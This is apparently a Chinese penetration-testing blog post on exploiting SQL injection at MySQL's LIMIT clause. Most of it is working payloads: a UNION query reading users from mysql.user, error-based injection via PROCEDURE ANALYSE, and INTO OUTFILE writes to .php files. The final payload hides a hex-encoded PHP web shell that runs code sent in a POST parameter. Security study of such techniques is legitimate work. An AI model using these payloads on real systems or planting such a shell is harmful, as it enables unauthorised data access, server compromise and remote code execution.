[渗透测试]LIMIT 的SQL注入问题

Posted by

环境:

mysql 5.5
windows 10
PHP 5.6

前言:
mysql几乎在任何位置都是可以注入的,本次来说limit位置的SQL注入问题。
一、limit注入区分是否存在order by语句。
样例一:
select TaskId from lscan_tasks limit 1
此处可直接使用union进行注入,最为方便。
例如:
select TaskId from lscan_tasks limit 0 union all select user from mysql.user limit 1

另外可以的就是procedure来调用analyse存储过程达到的报错注入。
例如:
select TaskId from lscan_tasks limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
(备注:该方法仅在mysql5.6.6以前的版本中可行。)

写文件:
limit位置的写文件可以直接使用into outfile来完成。
例如:
select TaskId from lscan_tasks limit 1,1 into outfile ‘e:/xiaol.php’
该写方式需要前面的内容可控才可以完成。
二、limit前面存在order by语句
样例二:
select TaskId from lscan_tasks order by TaskId limit 1
此处不能使用union的联合查询,仅能通过procedure来调用analyse存储过程达到的报错注入。
写文件同上。
三、limit写文件大招
limit之后是可以直接写入任意内容到文件中。
样例三:
select TaskId from lscan_tasks order by TaskId limit 1,1 into outfile ‘E:/xxx1.php’ LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E
该方法利用LINES TERMINATED BY来输出终止字符串,一般用户用于输出\r\n这类文本终结符,这里可以利用它来输出字符串到文件的末尾,达到写入任意内容的作用。

Leave a Reply

电子邮件地址不会被公开。 必填项已用*标注